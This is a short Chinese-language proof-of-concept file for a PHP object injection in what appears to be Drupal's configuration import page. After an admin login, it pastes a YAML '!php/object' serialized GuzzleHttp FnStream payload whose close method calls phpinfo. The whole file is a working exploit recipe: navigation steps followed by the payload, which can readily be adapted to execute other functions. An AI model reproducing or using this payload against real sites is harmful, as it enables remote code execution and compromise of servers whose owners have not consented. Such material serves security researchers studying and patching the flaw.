poc.txt

在/user/login登陆后
访问http://xx.xx.xx.xx/admin/config/development/configuration/single/import
   
Configuration type：Simple configuration
Configuration name：随意填写
Paste your configuration here填写以下poc
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"